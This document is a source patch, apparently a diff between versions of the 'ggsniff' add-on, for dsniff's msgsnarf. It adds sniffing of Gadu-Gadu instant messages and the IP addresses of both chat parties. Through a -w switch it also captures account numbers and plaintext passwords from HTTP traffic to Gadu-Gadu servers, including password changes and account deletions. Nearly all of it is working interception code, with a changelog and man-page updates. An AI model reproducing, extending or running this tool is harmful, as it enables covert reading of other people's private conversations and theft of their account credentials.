+diff -urN dsniff-2.3/ChangeLog.ggsniff dsniff-2.3-gg/ChangeLog.ggsniff
+--- dsniff-2.3/ChangeLog.ggsniff Thu Jan 1 01:00:00 1970
++++ dsniff-2.3-gg/ChangeLog.ggsniff Wed Oct 30 14:49:43 2002
+@@ -0,0 +1,37 @@
++BUGS:
++ - dsniff doesn't compile with newest libnet, use older version (1.0.x)
++
++
++2002.10.30 v1.2
++ - added password sniffing (switch -w)
++
++2002.10.22 v1.1d
++ - sometimes local user's nick was incorrectly displayed
++ - added switch -s for simple output (without IP addresses)
++ - updated man page for msgsnarf
++ - added short documentation for ggsniff
++
++2002.09.13 v1.1c
++ - fixed silly "cut&paste" bug
++
++2002.09.12 v1.1b
++ - fixed silly segfault in process_gg()
++
++2002.09.11 v1.1
++ - added printing remote GG user's IP (if available)
++
++2002.09.03 v1.1-beta
++ - fixed segfault in process_msn() [dsniff-2.3-segfault.patch]
++ - added switch -d for debugging info
++ - added switch -p for disabling promiscous mode (useful on routers)
++[dsniff-2.3-promisc.patch]
++ - sniffer recognizes data direction
++ - different connections from single IP do not share client_info
++ - sniffing GG connections to port 443
++ - support for extensions in new GG protocol (client version 4.9.3+)
++
++2002.04.26 v1.01
++ - added printing local GG user's IP
++
++2002.03.20 v1.0
++ - first release
diff -urN dsniff-2.3/msgsnarf.8 dsniff-2.3-gg/msgsnarf.8
--- dsniff-2.3/msgsnarf.8 Sun Nov 19 07:10:50 2000
-+++ dsniff-2.3-gg/msgsnarf.8 Tue Mar 26 11:29:29 2002
-@@ -14,7 +14,7 @@
++++ dsniff-2.3-gg/msgsnarf.8 Wed Oct 30 12:28:00 2002
+@@ -9,16 +9,24 @@
+ .na
+ .nf
+ .fi
+-\fBmsgsnarf\fR [\fB-i \fIinterface\fR] [[\fB-v\fR] \fIpattern [\fIexpression\fR]]
++\fBmsgsnarf\fR [\fB-d\fR] [\fB-p\fR] [\fB-s\fR] [\fB-w\fR] [\fB-i \fIinterface\fR] [[\fB-v\fR] \fIpattern [\fIexpression\fR]]
+ .SH DESCRIPTION
.ad
.fi
\fBmsgsnarf\fR records selected messages from AOL Instant
+Messenger, ICQ 2000, IRC, MSN Messenger, Gadu-Gadu, or Yahoo Messenger chat
sessions.
.SH OPTIONS
++.IP \fB-d\fR
++Debug mode (prints more information about Gadu-Gadu connections).
.IP "\fB-i \fIinterface\fR"
+ Specify the interface to listen on.
++.IP \fB-p\fR
++Disable promiscous mode.
++.IP \fB-s\fR
++Simple output, without IP addresses.
++.IP \fB-w\fR
++Enable Gadu-Gadu password sniffing.
+ .IP \fB-v\fR
+ "Versus" mode. Invert the sense of matching, to select non-matching
+ messages.
diff -urN dsniff-2.3/msgsnarf.c dsniff-2.3-gg/msgsnarf.c
--- dsniff-2.3/msgsnarf.c Fri Dec 15 21:12:19 2000
-+++ dsniff-2.3-gg/msgsnarf.c Tue Mar 26 14:09:13 2002
-@@ -1,10 +1,13 @@
++++ dsniff-2.3-gg/msgsnarf.c Wed Oct 30 12:36:19 2002
+@@ -1,10 +1,10 @@
/*
msgsnarf.c
Copyright (c) 1999 Dug Song <dugsong@monkey.org>
-
-+
-+ 2002.03.20 - support for Gadu-Gadu messages added by Ryba <ryba_84@hotmail.com>
-+ (based on protocol description from EKG, http://dev.null.pl/ekg/)
+
$Id$
*/
-@@ -544,6 +547,112 @@
+@@ -25,23 +25,33 @@
+ #include "decode.h"
+ #include "version.h"
+
++#define GGVERSION "1.2"
++#define TO_CLIENT 0
++#define TO_SERVER 1
++#define PACKED __attribute__ ((packed))
++
+ struct client_info {
+ char *nick;
+ char *peer;
+ char *type;
+ in_addr_t ip;
++ unsigned short port;
++ in_addr_t local_ip;
+ SLIST_ENTRY(client_info) next;
+ };
+
+ SLIST_HEAD(, client_info) client_list;
+ int Opt_invert = 0;
+ regex_t *pregex = NULL;
++int Opt_debug = 0;
++int Opt_simple = 0;
++int Opt_pass = 0;
+
+ void
+ usage(void)
+ {
+- fprintf(stderr, "Version: " VERSION "\n"
+- "Usage: msgsnarf [-i interface] [[-v] pattern [expression]]\n");
++ fprintf(stderr, "Version: " VERSION " (ggsniff " GGVERSION ")\n"
++ "Usage: msgsnarf [-d] [-p] [-s] [-w] [-i interface] [[-v] pattern [expression]]\n");
+ exit(1);
+ }
+
+@@ -81,7 +91,7 @@
+ };
+
+ int
+-process_aim(struct client_info *info, u_char *data, int len)
++process_aim(struct client_info *info, u_char *data, int len, int dir)
+ {
+ struct buf *msg, *word, buf;
+ struct flap *flap;
+@@ -215,7 +225,7 @@
+ }
+
+ int
+-process_irc(struct client_info *info, u_char *data, int len)
++process_irc(struct client_info *info, u_char *data, int len, int dir)
+ {
+ struct buf *line, *word, *prefix, buf;
+ char *p;
+@@ -336,7 +346,7 @@
+ }
+
+ int
+-process_msn(struct client_info *info, u_char *data, int len)
++process_msn(struct client_info *info, u_char *data, int len, int dir)
+ {
+ struct buf *word, *line, buf;
+ char *p;
+@@ -442,7 +452,7 @@
+ };
+
+ int
+-process_yahoo(struct client_info *info, u_char *data, int len)
++process_yahoo(struct client_info *info, u_char *data, int len, int dir)
+ {
+ struct yhoo *yhoo;
+ struct ymsg *ymsg;
+@@ -544,11 +554,338 @@
return (len - buf_len(&buf));
}
+
+/*
+ Support for GG messages added by Ryba <ryba_84@hotmail.com>
-+ v1.0
++ v1.2
+
+ Protocol description taken from EKG (http://dev.null.pl/ekg/)
+ by <wojtekka@irc.pl>, <speedy@atman.pl> and others.
+ Thanks to all of them!
+
+ Gadu-Gadu (http://www.gadu-gadu.pl) is a Polish communicator.
-+ I believe it is most popular instant messenger in Poland.
++ I believe it is a most popular instant messenger in Poland.
+*/
+
++struct remote_client_info {
++ int uin;
++ char *nick;
++ in_addr_t ip;
++ unsigned short port;
++ SLIST_ENTRY(remote_client_info) next;
++};
++
++SLIST_HEAD(, remote_client_info) remote_client_list;
++
++#define GG_NETWORK "217.17.41.80"
++#define GG_NETMASK "255.255.255.248"
++unsigned int gg_network;
++unsigned int gg_netmask;
++
+#define GG_LOGIN 0x000c
++#define GG_LOGIN_EXT 0x0013
+#define GG_SEND_MSG 0x000b
+#define GG_RECV_MSG 0x000a
-+
++#define GG_NOTIFY_REPLY 0x000c
++#define GG_NOTIFY 0x0010
++
++#define GG_STATUS_NOT_AVAIL_DESCR 0x0015
++#define GG_STATUS_AVAIL_DESCR 0x0004
++#define GG_STATUS_BUSY_DESCR 0x0005
++
+struct gg_header {
+ int type;
+ int length;
+ int version;
+ int local_ip;
+ u_short local_port;
-+};
++} PACKED;
++
++struct gg_login_ext {
++ int uin;
++ int hash;
++ int status;
++ int version;
++ int local_ip;
++ short local_port;
++ int external_ip;
++ short external_port;
++} PACKED;
++
++struct gg_notify_reply {
++ int uin;
++ int status;
++ int remote_ip;
++ short remote_port;
++ int version;
++ short unknown1;
++} PACKED;
++
++struct in_addr int2in_addr(u_int i) {
++ struct in_addr ia;
++ ia.s_addr = i;
++ return ia;
++}
+
-+int process_gg(struct client_info *info, u_char *data, int len) {
++struct remote_client_info *find_remote_client(int uin) {
++ int i;
++ struct remote_client_info *rc;
++
++ i = 0;
++ SLIST_FOREACH(rc, &remote_client_list, next) {
++ if (rc->uin == uin) {
++ i = 1; break;
++ }
++ }
++
++ if (i == 0) {
++ return NULL;
++ } else {
++ return rc;
++ }
++}
++
++struct remote_client_info *add_remote_client(struct remote_client_info newrc) {
++ struct remote_client_info *rc;
++
++ if ((rc = malloc(sizeof(*rc))) == NULL)
++ nids_params.no_mem("sniff_msgs");
++ memset(rc, 0, sizeof(*rc));
++ rc->uin = newrc.uin;
++ rc->ip = newrc.ip;
++ rc->port = newrc.port;
++ SLIST_INSERT_HEAD(&remote_client_list, rc, next);
++ return rc;
++}
++
++#define GG_NICK_SIZE 45
++#define GG_IP_SIZE 16
++
++int process_gg(struct client_info *info, u_char *data, int len, int dir) {
+
+ struct buf *msg, buf;
+ struct gg_header *header;
+ struct gg_send_msg *send_msg;
+ struct gg_recv_msg *recv_msg;
+ struct gg_login *login;
-+ struct in_addr addr;
++ struct gg_login_ext *login_ext;
++ struct gg_notify_reply *notify_reply;
++ struct remote_client_info *rc;
++ struct remote_client_info new_rc;
+ char *p;
-+ char sbuff [10];
++ char sbuff[GG_NICK_SIZE];
++ char local_ip[GG_IP_SIZE];
+ int i;
++ int count;
+
+ buf_init(&buf, data, len);
+
+
+ buf_skip(msg, sizeof(*header));
+
-+ if (header->type == GG_LOGIN && header->length == 22) {
++ if ((header->type == GG_LOGIN || header->type == GG_LOGIN_EXT)&& dir == TO_SERVER) {
+
-+ login = (struct gg_login *)buf_ptr(msg);
-+ addr.s_addr = login->local_ip;
-+
++ login_ext = (struct gg_login_ext *)buf_ptr(msg);
++
++ if (Opt_simple != 0) {
++ snprintf(sbuff, GG_NICK_SIZE, "%u", login_ext->uin);
++ } else {
++ if (info->ip == login_ext->local_ip) {
++ snprintf(sbuff, GG_NICK_SIZE, "%s/%u", inet_ntoa(int2in_addr(info->ip)), login_ext->uin);
++ } else {
++ snprintf(local_ip, GG_IP_SIZE, inet_ntoa(int2in_addr(login_ext->local_ip)));
++ snprintf(sbuff, GG_NICK_SIZE, "%s/%s/%u", inet_ntoa(int2in_addr(info->ip)), local_ip, login_ext->uin);
++ }
++ }
+ if (info->nick) free(info->nick);
-+ snprintf(sbuff, 10, "%u", login->uin);
+ info->nick = strdup(sbuff);
++
++ if (Opt_debug != 0) {
++ if (header->type == GG_LOGIN) {
++ printf("%s GG_LOGIN %s\n", timestamp(), info->nick);
++ } else {
++ printf("%s GG_LOGIN_EXT %s\n", timestamp(), info->nick);
++ }
++ }
+ } else
+
-+ if (header->type == GG_SEND_MSG) {
++ if (header->type == GG_SEND_MSG && dir == TO_SERVER) {
+ send_msg = (struct gg_send_msg *)buf_ptr(msg);
+ buf_skip(msg, sizeof(*send_msg));
+
+ p = buf_strdup(msg);
+ if (regex_match(p)) {
-+ printf("%s GG %s > %u: %s\n", timestamp(), info->nick, send_msg->recipient, p);
++ rc = find_remote_client(send_msg->recipient);
++ if (rc && rc->ip != 0) {
++ snprintf(sbuff, GG_NICK_SIZE, "%s:%u/%u", inet_ntoa(int2in_addr(rc->ip)), rc->port, rc->uin);
++ } else {
++ snprintf(sbuff, GG_NICK_SIZE, "%u", send_msg->recipient);
++ }
++ printf("%s GG_SEND %s > %s: %s\n", timestamp(), info->nick, sbuff, p);
+ }
-+ if (p) free(p);
++ free(p);
+ } else
+
-+ if (header->type == GG_RECV_MSG) {
++ if (header->type == GG_RECV_MSG && dir == TO_CLIENT) {
+ recv_msg = (struct gg_recv_msg *)buf_ptr(msg);
+ buf_skip(msg, sizeof(*recv_msg));
+
+ p = buf_strdup(msg);
+ if (regex_match(p)) {
-+ printf("%s GG %s < %u: %s\n", timestamp(), info->nick, recv_msg->sender, p);
++ rc = find_remote_client(recv_msg->sender);
++ if (rc && rc->ip != 0) {
++ snprintf(sbuff, GG_NICK_SIZE, "%s:%u/%u", inet_ntoa(int2in_addr(rc->ip)), rc->port, rc->uin);
++ } else {
++ snprintf(sbuff, GG_NICK_SIZE, "%u", recv_msg->sender);
++ }
++ printf("%s GG_RECV %s < %s: %s\n", timestamp(), info->nick, sbuff, p);
++ }
++ free(p);
++ }
++
++ if (header->type == GG_NOTIFY_REPLY && dir == TO_CLIENT) {
++ notify_reply = (struct gg_notify_reply *)buf_ptr(msg);
++
++ if (notify_reply->status == GG_STATUS_NOT_AVAIL_DESCR ||
++ notify_reply->status == GG_STATUS_AVAIL_DESCR ||
++ notify_reply->status == GG_STATUS_BUSY_DESCR) {
++ count = 1;
++ } else {
++ count = header->length / sizeof(*notify_reply);
++ }
++
++ for (i = 0; i < count; i++) {
++ rc = find_remote_client(notify_reply->uin);
++ if (rc) {
++ if (rc->ip != 0) {
++ rc->ip = notify_reply->remote_ip;
++ rc->port = notify_reply->remote_port;
++ }
++ } else {
++ new_rc.uin = notify_reply->uin;
++ new_rc.ip = notify_reply->remote_ip;
++ new_rc.port = notify_reply->remote_port;
++ rc = add_remote_client(new_rc);
++ }
++ if (Opt_debug != 0) {
++ printf("%s GG_NOTIFY_REPLY #%u [%s:%u/%u]\n", timestamp(),
++ i, inet_ntoa(int2in_addr(rc->ip)), rc->port, rc->uin);
++ }
++ buf_skip(msg, sizeof(*notify_reply));
++ notify_reply = (struct gg_notify_reply *)buf_ptr(msg);
++ }
++ }
++
++ if (header->type == GG_NOTIFY && dir == TO_SERVER) {
++ if (Opt_debug != 0) {
++ printf("%s GG_NOTIFY (%u)\n", timestamp(), header->length);
+ }
-+ if (p) free(p);
+ }
+ }
+
+ return(len - buf_len(&buf));
+}
+
++char* get_value(struct buf *b, char *param, int len) {
++ char *v, *p, *l;
++ char c;
++ int i;
++
++ v = NULL;
++ p = buf_strdup(b);
++ l = strstr(p, param);
++ while (l && l != p && l[-1] != '\n' && l[-1] != '\r'
++ && l[-1] != '&' && l[-1] != '?') {
++ l = strstr(l+1, param);
++ }
++ if (l) {
++ l += len;
++ i = strcspn(l, "&");
++ if ((v = malloc(i + 1)) == NULL)
++ err(1, "malloc");
++ memcpy(v, l, i);
++ v[i] = '\0';
++ }
++ free(p);
++ return v;
++}
++
++int process_gg_pass(struct client_info *info, u_char *data, int len, int dir) {
++ struct buf *line, *word, buf;
++ char *pass, *fmnum, *pwd, *email, *fmnumber, *fmpwd, *delete;
++ int i;
++
++ buf_init(&buf, data, len);
++
++ if (dir == TO_SERVER) {
++ fmnum = get_value(&buf, "FmNum=", 6);
++ fmnumber = get_value(&buf, "fmnumber=", 9);
++ pwd = get_value(&buf, "pwd=", 4);
++
++ if (fmnum) {
++ pass = get_value(&buf, "Pass=", 5);
++ printf("GG_UIN = %s, GG_PASS = %s\n", fmnum, pass);
++ if (pass) free(pass);
++ free(fmnum);
++ }
++ if (pwd && !fmnumber) {
++ email = get_value(&buf, "email=", 6);
++ printf("GG_NEW_UIN: GG_PASS = %s, GG_EMAIL = %s\n", pwd, email);
++ if (email) free(email);
++ free(pwd);
++ }
++ if (fmnumber) {
++ fmpwd = get_value(&buf, "fmpwd=", 6);
++ delete = get_value(&buf, "delete=", 7);
++ pwd = get_value(&buf, "pwd=", 4);
++ if (delete) {
++ printf("GG_DELETE: GG_UIN = %s, GG_PASS = %s\n", fmnumber, fmpwd);
++ } else if (fmpwd) {
++ printf("GG_CHANGE: GG_UIN = %s, GG_OLDPASS = %s, GG_NEWPASS = %s\n", fmnumber, fmpwd, pwd);
++ }
++ if (fmpwd) free(fmpwd);
++ if (delete) free(delete);
++ if (pwd) free(pwd);
++ free(fmnumber);
++ }
++ }
++
++ buf_skip(&buf, buf_len(&buf));
++ return(len - buf_len(&buf));
++}
+
void
sniff_msgs(struct tcp_stream *ts, void **conn_save)
{
-@@ -562,6 +671,9 @@
- }
+ struct client_info *c;
+- int (*process_msgs)(struct client_info *, u_char *, int);
++ int (*process_msgs)(struct client_info *, u_char *, int, int);
+ int i;
+
+ if (ts->addr.dest >= 6660 && ts->addr.dest <= 6680) {
+@@ -563,8 +900,16 @@
else if (ts->addr.dest == 1863) {
process_msgs = process_msn;
-+ }
-+ else if (ts->addr.dest == 8074 || ts->addr.source == 8074) {
-+ process_msgs = process_gg;
}
++ else if (ts->addr.dest == 8074 || (ts->addr.dest == 443 &&
++ (ts->addr.daddr & gg_netmask) == gg_network)) {
++ process_msgs = process_gg;
++ }
++ else if (Opt_pass != 0 && ts->addr.dest == 80 &&
++ (ts->addr.daddr & gg_netmask) == gg_network) {
++ process_msgs = process_gg_pass;
++ }
else return;
+-
++
+ switch (ts->nids_state) {
+
+ case NIDS_JUST_EST:
+@@ -573,15 +918,18 @@
+
+ i = 0;
+ SLIST_FOREACH(c, &client_list, next) {
+- if (c->ip == ts->addr.saddr) {
++ if (c->ip == ts->addr.saddr && c->port == ts->addr.source) {
+ i = 1; break;
+ }
+ }
+ if (i == 0) {
+ if ((c = malloc(sizeof(*c))) == NULL)
+ nids_params.no_mem("sniff_msgs");
++ memset(c, 0, sizeof(*c));
+ c->ip = ts->addr.saddr;
++ c->port = ts->addr.source;
+ c->nick = strdup("unknown");
++ c->local_ip = 0;
+ SLIST_INSERT_HEAD(&client_list, c, next);
+ }
+ *conn_save = (void *)c;
+@@ -592,12 +940,14 @@
+
+ if (ts->server.count_new > 0) {
+ i = process_msgs(c, ts->server.data,
+- ts->server.count - ts->server.offset);
++ ts->server.count - ts->server.offset,
++ TO_SERVER);
+ nids_discard(ts, i);
+ }
+ else if (ts->client.count_new > 0) {
+ i = process_msgs(c, ts->client.data,
+- ts->client.count - ts->client.offset);
++ ts->client.count - ts->client.offset,
++ TO_CLIENT);
+ nids_discard(ts, i);
+ }
+ fflush(stdout);
+@@ -608,10 +958,12 @@
+
+ if (ts->server.count > 0)
+ process_msgs(c, ts->server.data,
+- ts->server.count - ts->server.offset);
++ ts->server.count - ts->server.offset,
++ TO_SERVER);
+ else if (ts->client.count > 0)
+ process_msgs(c, ts->client.data,
+- ts->client.count - ts->client.offset);
++ ts->client.count - ts->client.offset,
++ TO_CLIENT);
+ fflush(stdout);
+ break;
+ }
+@@ -627,7 +979,7 @@
+ {
+ int c;
+
+- while ((c = getopt(argc, argv, "i:hv?V")) != -1) {
++ while ((c = getopt(argc, argv, "sdpwi:hv?V")) != -1) {
+ switch (c) {
+ case 'i':
+ nids_params.device = optarg;
+@@ -635,6 +987,19 @@
+ case 'v':
+ Opt_invert = 1;
+ break;
++ case 'd':
++ Opt_debug = 1;
++ break;
++ case 's':
++ Opt_simple = 1;
++ break;
++ case 'w':
++ Opt_pass = 1;
++ break;
++ case 'p':
++ // disable promiscous mode
++ nids_params.promisc = 0;
++ break;
+ default:
+ usage();
+ }
+@@ -653,19 +1018,35 @@
+ nids_params.scan_num_hosts = 0;
+ nids_params.syslog = null_syslog;
+
++ gg_network = inet_addr(GG_NETWORK);;
++ gg_netmask = inet_addr(GG_NETMASK);
++
+ if (!nids_init())
+ errx(1, "%s", nids_errbuf);
+
+ SLIST_INIT(&client_list);
++ SLIST_INIT(&remote_client_list);
+
+ nids_register_tcp(sniff_msgs);
+
++ warnx("ggsniff " GGVERSION " enabled");
++
+ if (nids_params.pcap_filter != NULL) {
+ warnx("listening on %s [%s]", nids_params.device,
+ nids_params.pcap_filter);
+ }
+ else warnx("listening on %s", nids_params.device);
+
++ if (nids_params.promisc == 0) {
++ warnx("promiscous mode disabled");
++ } else
++ warnx("promiscous mode enabled");
++
++ if (Opt_pass == 0) {
++ warnx("password sniffing disabled");
++ } else
++ warnx("password sniffing enabled");
++
+ nids_run();
+ /* NOTREACHED */